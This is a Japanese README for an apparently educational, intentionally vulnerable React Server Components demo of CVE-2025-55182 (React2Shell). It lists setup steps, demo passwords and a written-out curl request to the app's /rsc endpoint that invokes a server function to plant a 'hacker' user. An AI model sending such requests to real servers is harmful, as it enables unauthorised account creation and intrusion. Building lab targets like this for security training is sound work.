
「むかしむかし、Reactlandの城はすべてのFlightメッセージを信頼していました……「インポスター」が現れるまでは。」CVE-2025-55182 (React2Shell) のストーリー仕立てのデモ - セキュリティ教育用の、中世をテーマにした脆弱性のあるReact Server Componentsアプリ。
このプロジェクトは、React Server Components 19.1.1 における重大な RCE 脆弱性(CVE-2025-55182 / React2Shell)を実証するものです。
このプロジェクトは、React Server Components 19.1.1 における重大なリモートコード実行(RCE)脆弱性である CVE-2025-55182(React2Shell)を実証します。このアプリケーションには以下のものが含まれます:
react-cve-demo/
├── package.json # react-server-dom-webpack を備えた React 19.1.1
├── server.js # RSC サポート付きカスタム React サーバー
├── src/
│ ├── App.jsx # メインの React コンポーネント
│ ├── Login.jsx # ログインページのコンポーネント
│ ├── Dashboard.jsx # 保護されたページのコンポーネント
│ └── server-components/ # サーバーコンポーネント
│ └── AuthServer.jsx # サーバーサイド認証ロジック
├── data/
│ └── users.json # ユーザー資格情報の保存
├── Dockerfile # Docker コンテナ化
├── docker-compose.yml # Docker Compose のセットアップ
├── .dockerignore
├── exploit/
│ ├── poc.js # POC エクスプロイトスクリプト(Node.js)
│ └── poc.sh # POC エクスプロイトスクリプト(bash/curl)
└── README.md # このファイル
npm install
npm start
Docker Compose でビルドして実行します:
docker-compose up --build
または手動でビルドして実行します:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
http://localhost:3000 でアプリケーションにアクセスします
admin、パスワード:securepassword123user1、パスワード:password123この脆弱性は、RSC Flight プロトコルの逆シリアル化メカニズムに存在します。このエクスプロイトは:
node exploit/poc.js
またはカスタムターゲット URL を使用する場合:
TARGET_URL=http://localhost:3000 node exploit/poc.js
./exploit/poc.sh
またはカスタムターゲット URL を使用する場合:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
1 行バージョン:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
複数行バージョン(読みやすさ用):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
注: コピー&ペースト可能な 1 行コマンドは
exploit/curl-oneline.txtにも用意されています
エクスプロイトを実行した後:
data/users.json に新しいユーザーを作成しますhackerhacked123この脆弱性は React Server Components 19.1.1 に存在し、具体的には以下にあります:
react-server-dom-webpackサーバー(server.js)は以下を実装します:
/rsc)data/users.json)RSC Flight プロトコルエンドポイントは以下を受け入れます:
action: "callServerFunction":サーバー関数を実行action: "renderRSC":React Server Components をレンダリング脆弱性は、サーバー関数呼び出しが逆シリアル化および実行される方法に存在します。
npm install)docker-compose logsMIT ライセンス - 教育目的のみ
このソフトウェアは、教育およびセキュリティ研究目的のみで提供されています。著者および貢献者は、このソフトウェアによって引き起こされた誤用や損害について責任を負いません。自己責任で使用し、適用されるすべての法律および規制に準拠することを確認してください。